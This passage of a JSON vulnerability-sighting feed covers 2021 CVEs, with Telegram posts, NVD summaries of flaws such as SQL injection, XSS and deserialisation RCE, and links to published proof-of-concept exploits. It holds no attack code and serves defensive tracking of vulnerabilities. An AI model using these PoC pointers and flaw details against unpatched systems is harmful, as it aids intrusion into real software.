\u043c\u0435\u0441\u044f\u0446\u0430 (\u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0435\u0442\u0435 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u044b\u043a\u0443\u043f\u0430 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 0,01 \u0431\u0438\u0442\u043a\u043e\u0439\u043d\u0430), \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a.", "creation_timestamp": "2022-01-17T09:36:31.000000Z"}, {"uuid": "f63ce1e5-c563-4f14-a714-25058c74bde2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28809", "type": "seen", "source": "https://t.me/true_secator/1893", "content": "\u041e\u0442\u0432\u043b\u0435\u0447\u0435\u043c\u0441\u044f \u043d\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u0443 \u0438 \u043f\u043e\u0440\u0430\u0434\u0443\u0435\u043c\u0441\u044f: \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449 QNAP \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\nCVE-2021-28809 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Ta-Lun Yen \u0438\u0437 TXOne IoT/ICS Security Research Labs \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 HBS 3 Hybrid, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0435\u0439 \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043b\u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 HBS: QTS 4.3.6: HBS 3 v3.0.210507; QTS 4.3.4: HBS 3 v3.0.210506; QTS 4.3.3: HBS 3 v3.0.210506 \u0438 \u043d\u043e\u0432\u0435\u0435, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 QNAP \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c QTS 4.5.x \u0441 HBS 3 v16.x \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u0412\u0441\u0435 \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441, \u043f\u0440\u044f\u043c\u043e \u043a\u0430\u043a \u0432 \u0430\u043d\u0435\u043a\u0434\u043e\u0442\u0435: \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438, \u0430 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u044f \u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0443 HBS 3 Hybrid Backup Sync \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043e \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u043a\u043e\u0434\u0430, \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 14 \u043c\u0430\u0435\u043c 2021. \u041f\u0435\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u044b\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Qlocker \u0438 eCh0raix \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 HBS 3 Hybrid Backup Sync \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u043d\u0438\u0442\u0441\u044f \u0432 \u043a\u043e\u0448\u043c\u0430\u0440\u0430\u0445 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449 QNAP.", "creation_timestamp": "2021-07-06T15:47:21.000000Z"}, {"uuid": "e1f29205-69c0-4417-ae93-ec024875ed41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/240", "content": "CVE-2021-28935 CMS Made Simple 2.2.15 XSS\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28935_CMS_Made_Simple_2.2.15_XSS%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-22T11:25:28.000000Z"}, {"uuid": "aacb9755-3611-4da0-88b2-9b47d25f45a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/163", "content": "CVE-2021-28142 CITSmart ITSM 9.1.2.27 - 'query' SQL\u6ce8\u5165\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28142_CITSmart_ITSM_9.1.2.27_-_%27query%27_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T06:42:48.000000Z"}, {"uuid": "8e183ed7-9a57-41e2-bd9a-974b61d7eba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/277", "content": "CVE-2021-28149 CVE-2021-28150 CVE-2021-28151 \u5b8f\u96fb H8922 \u591a\u500b\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28149_CVE-2021-28150_CVE-2021-28151_%E5%AE%8F%E9%9B%BB_H8922_%E5%A4%9A%E5%80%8B%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-29T07:23:32.000000Z"}, {"uuid": "ab856613-b5fe-4ec0-8208-19989b5989c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/277", "content": "CVE-2021-28149 CVE-2021-28150 CVE-2021-28151 \u5b8f\u96fb H8922 \u591a\u500b\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28149_CVE-2021-28150_CVE-2021-28151_%E5%AE%8F%E9%9B%BB_H8922_%E5%A4%9A%E5%80%8B%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-29T07:23:32.000000Z"}, {"uuid": "72b39e21-6f39-44b6-a3a7-82417d27a59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/277", "content": "CVE-2021-28149 CVE-2021-28150 CVE-2021-28151 \u5b8f\u96fb H8922 \u591a\u500b\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28149_CVE-2021-28150_CVE-2021-28151_%E5%AE%8F%E9%9B%BB_H8922_%E5%A4%9A%E5%80%8B%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-29T07:23:32.000000Z"}, {"uuid": "86949150-192b-41b4-a09a-93959d1db54d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/261", "content": "CVE-2021-28419 SEO Panel 4.8.0 - 'order_col' SQL\u76f2\u6ce8\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28419_SEO_Panel_4.8.0_-_%27order_col%27_SQL%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-26T11:52:17.000000Z"}, {"uuid": "4c7d0914-e361-464d-bf64-f1a0762f7c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28485", "type": "seen", "source": "https://t.me/cibsecurity/70448", "content": "\u203c CVE-2021-28485 \u203c\n\nEricsson Mobile Switching Center Server (MSC-S) BC 18A and IS 3.1 releases before IS 3.1 CP22 allows Directory Traversal.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-14T18:24:32.000000Z"}, {"uuid": "9c27ea89-c1f5-4060-8945-cb7a3dedcf82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28025", "type": "seen", "source": "https://t.me/cibsecurity/68365", "content": "\u203c CVE-2021-28025 \u203c\n\nInteger Overflow vulnerability in qsvghandler.cpp in Qt qtsvg versions 5.15.1, 6.0.0, 6.0.2, and 6.2, allows local attackers to cause a denial of service (DoS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-11T18:22:48.000000Z"}, {"uuid": "fc104f50-21c2-4625-9acd-41f6b9563909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28427", "type": "seen", "source": "https://t.me/cibsecurity/68343", "content": "\u203c CVE-2021-28427 \u203c\n\nBuffer Overflow vulnerability in XNView version 2.49.3, allows local attackers to execute arbitrary code via crafted TIFF file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-11T18:16:42.000000Z"}, {"uuid": "2a03a81f-824f-4c43-8bab-56149c0499f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28835", "type": "seen", "source": "https://t.me/cibsecurity/68361", "content": "\u203c CVE-2021-28835 \u203c\n\nBuffer Overflow vulnerability in XNView before 2.50, allows local attackers to execute arbitrary code via crafted GEM bitmap file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-14T00:06:17.000000Z"}, {"uuid": "80798c76-e40f-48db-a820-503041fd16d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/sysadm_in_up/622", "content": "Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021\u201328482) | by Jang | Apr, 2021 | Medium\nhttps://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f\n\nPoC\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-07-30T00:03:07.880832Z"}, {"uuid": "f494f976-8097-46f8-b1f2-cae780841fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28254", "type": "seen", "source": "https://t.me/cibsecurity/62430", "content": "\u203c CVE-2021-28254 \u203c\n\nA deserialization vulnerability in the destruct() function of Laravel v8.5.9 allows attackers to execute arbitrary commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-19T07:43:13.000000Z"}, {"uuid": "b55dbc65-35d1-48d0-86f9-91cc9ee6ff30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28655", "type": "seen", "source": "https://t.me/cibsecurity/54665", "content": "\u203c CVE-2021-28655 \u203c\n\nThe improper Input Validation vulnerability in \"\u00e2\u20ac\ufffdMove folder to Trash\u00e2\u20ac\ufffd feature of Apache Zeppelin allows an attacker to delete the arbitrary files. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T16:24:27.000000Z"}, {"uuid": "f18e7f9a-5cff-48a1-9be0-66df69ae8e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "ba8fb18b-0d7b-473d-9008-3a5c02b8f20c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28052", "type": "seen", "source": "https://t.me/cibsecurity/50514", "content": "\u203c CVE-2021-28052 \u203c\n\nA tenant administrator Hitachi Content Platform (HCP) may modify the configuration in another tenant without authorization, potentially allowing unauthorized access to data in the other tenant. Also, a tenant user (non-administrator) may view configuration in another tenant without authorization. This issue affects: Hitachi Vantara Hitachi Content Platform versions prior to 8.3.7; 9.0.0 versions prior to 9.2.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-26T20:23:05.000000Z"}, {"uuid": "1398b157-dfa8-4be2-bb83-4aae25c885e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28861", "type": "seen", "source": "https://t.me/cibsecurity/48567", "content": "\u203c CVE-2021-28861 \u203c\n\nPython 3.x through 3.10 has an open redirection vulnerability in lib/http/server.py due to no protection against multiple (/) at the beginning of URI path which may leads to information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-23T07:21:07.000000Z"}, {"uuid": "eb5ef209-9d4c-4f75-86e6-9c6bed17fba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28488", "type": "seen", "source": "https://t.me/cibsecurity/38706", "content": "\u203c CVE-2021-28488 \u203c\n\nEricsson Network Manager 20.2 has Insecure Permissions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T20:23:15.000000Z"}, {"uuid": "9e22262a-0c0d-4331-9f12-3989a304d249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28290", "type": "seen", "source": "https://t.me/cibsecurity/42415", "content": "\u203c CVE-2021-28290 \u203c\n\nA cross-site scripting (XSS) vulnerability in Skoruba IdentityServer4.Admin before 2.0.0 via unencoded value passed to the data-secret-value parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-11T22:34:37.000000Z"}, {"uuid": "cfa6e258-1c25-4867-8291-36f788cfa271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28505", "type": "seen", "source": "https://t.me/cibsecurity/40817", "content": "\u203c CVE-2021-28505 \u203c\n\nOn affected Arista EOS platforms, if a VXLAN match rule exists in an IPv4 access-list that is applied to the ingress of an L2 or an L3 port/SVI, the VXLAN rule and subsequent ACL rules in that access list will ignore the specified IP protocol.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-15T00:19:29.000000Z"}, {"uuid": "592d63d5-a292-41df-8fec-1a216109ee68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28278", "type": "seen", "source": "https://t.me/cibsecurity/39449", "content": "\u203c CVE-2021-28278 \u203c\n\nA Heap-based Buffer Overflow vulnerability exists in jhead 3.04 and 3.05 via the RemoveSectionType function in jpgfile.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-23T23:29:07.000000Z"}, {"uuid": "04472a89-462a-44f9-9f0b-a14cedea9195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28276", "type": "seen", "source": "https://t.me/cibsecurity/39458", "content": "\u203c CVE-2021-28276 \u203c\n\nA Denial of Service vulnerability exists in jhead 3.04 and 3.05 via a wild address read in the ProcessCanonMakerNoteDir function in makernote.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-23T23:34:56.000000Z"}, {"uuid": "233885bc-1b9e-4694-b0b6-41afa978f7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28544", "type": "seen", "source": "https://t.me/cibsecurity/40674", "content": "\u203c CVE-2021-28544 \u203c\n\nApache Subversion SVN authz protected copyfrom paths regression Subversion servers reveal 'copyfrom' paths that should be hidden according to configured path-based authorization (authz) rules. When a node has been copied from a protected location, users with access to the copy can see the 'copyfrom' path of the original. This also reveals the fact that the node was copied. Only the 'copyfrom' path is revealed; not its contents. Both httpd and svnserve servers are vulnerable.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-12T22:17:16.000000Z"}, {"uuid": "85569bd4-9f6e-45f7-98cb-8afbb3f7f63c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28428", "type": "seen", "source": "https://t.me/cibsecurity/40187", "content": "\u203c CVE-2021-28428 \u203c\n\nFile upload vulnerability in HorizontCMS before 1.0.0-beta.3 via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-05T20:29:14.000000Z"}, {"uuid": "61fe97db-7991-4936-9e76-9a76b58e5deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "exploited", "source": "https://t.me/sysadm_in_up/622", "content": "Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021\u201328482) | by Jang | Apr, 2021 | Medium\nhttps://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f\n\nPoC\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-08-04T05:00:04.636604Z"}, {"uuid": "3e94f7a6-870c-47a0-8872-0dd781ef4aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28962", "type": "seen", "source": "https://t.me/cibsecurity/36579", "content": "\u203c CVE-2021-28962 \u203c\n\nStormshield Network Security (SNS) before 4.2.2 allows a read-only administrator to gain privileges via CLI commands.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-31T16:25:05.000000Z"}, {"uuid": "a1855a02-390c-4d3c-b5ed-8e008d48ffb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28096", "type": "seen", "source": "https://t.me/cibsecurity/36379", "content": "\u203c CVE-2021-28096 \u203c\n\nAn issue was discovered in Stormshield SNS before 4.2.3 (when the proxy is used). An attacker can saturate the proxy connection table. This would result in the proxy denying any new connections.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-27T16:20:35.000000Z"}, {"uuid": "b021c93e-adef-4e22-87b8-b7d4984036f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28500", "type": "seen", "source": "https://t.me/cibsecurity/35612", "content": "\u203c CVE-2021-28500 \u203c\n\nAn issue has recently been discovered in Arista EOS where the incorrect use of EOS's AAA API\u00e2\u20ac\u2122s by the OpenConfig and TerminAttr agents could result in unrestricted access to the device for local users with nopassword configuration.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-14T22:23:57.000000Z"}, {"uuid": "70fbf304-5dc6-4740-965b-3bd811f6b06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28506", "type": "seen", "source": "https://t.me/cibsecurity/35611", "content": "\u203c CVE-2021-28506 \u203c\n\nAn issue has recently been discovered in Arista EOS where certain gNOI APIs incorrectly skip authorization and authentication which could potentially allow a factory reset of the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-14T22:23:56.000000Z"}, {"uuid": "9432abfc-2f90-485b-80bc-d0fcea0e47a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28715", "type": "seen", "source": "https://t.me/cibsecurity/35074", "content": "\u203c CVE-2021-28715 \u203c\n\nGuest can force Linux netback driver to hog large amounts of kernel memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Incoming data packets for a guest in the Linux kernel's netback driver are buffered until the guest is ready to process them. There are some measures taken for avoiding to pile up too much data, but those can be bypassed by the guest: There is a timeout how long the client side of an interface can stop consuming new packets before it is assumed to have stalled, but this timeout is rather long (60 seconds by default). Using a UDP connection on a fast interface can easily accumulate gigabytes of data in that time. (CVE-2021-28715) The timeout could even never trigger if the guest manages to have only one free slot in its RX queue ring page and the next package would require more than one free slot, which may be the case when using GSO, XDP, or software hashing. (CVE-2021-28714)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-06T20:41:11.000000Z"}, {"uuid": "f27a1bae-ae11-46cc-83be-9c54b726492e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28714", "type": "seen", "source": "https://t.me/cibsecurity/35071", "content": "\u203c CVE-2021-28714 \u203c\n\nGuest can force Linux netback driver to hog large amounts of kernel memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Incoming data packets for a guest in the Linux kernel's netback driver are buffered until the guest is ready to process them. There are some measures taken for avoiding to pile up too much data, but those can be bypassed by the guest: There is a timeout how long the client side of an interface can stop consuming new packets before it is assumed to have stalled, but this timeout is rather long (60 seconds by default). Using a UDP connection on a fast interface can easily accumulate gigabytes of data in that time. (CVE-2021-28715) The timeout could even never trigger if the guest manages to have only one free slot in its RX queue ring page and the next package would require more than one free slot, which may be the case when using GSO, XDP, or software hashing. (CVE-2021-28714)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-06T20:41:07.000000Z"}, {"uuid": "190ee200-4fc1-4f96-95b9-7ca0f70a3a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28715", "type": "seen", "source": "https://t.me/cibsecurity/35071", "content": "\u203c CVE-2021-28714 \u203c\n\nGuest can force Linux netback driver to hog large amounts of kernel memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Incoming data packets for a guest in the Linux kernel's netback driver are buffered until the guest is ready to process them. There are some measures taken for avoiding to pile up too much data, but those can be bypassed by the guest: There is a timeout how long the client side of an interface can stop consuming new packets before it is assumed to have stalled, but this timeout is rather long (60 seconds by default). Using a UDP connection on a fast interface can easily accumulate gigabytes of data in that time. (CVE-2021-28715) The timeout could even never trigger if the guest manages to have only one free slot in its RX queue ring page and the next package would require more than one free slot, which may be the case when using GSO, XDP, or software hashing. (CVE-2021-28714)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-06T20:41:07.000000Z"}, {"uuid": "e3641de4-0cbf-49b7-8679-543f43d14d6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28376", "type": "seen", "source": "https://t.me/cibsecurity/35347", "content": "\u203c CVE-2021-28376 \u203c\n\nChronoForms 7.0.7 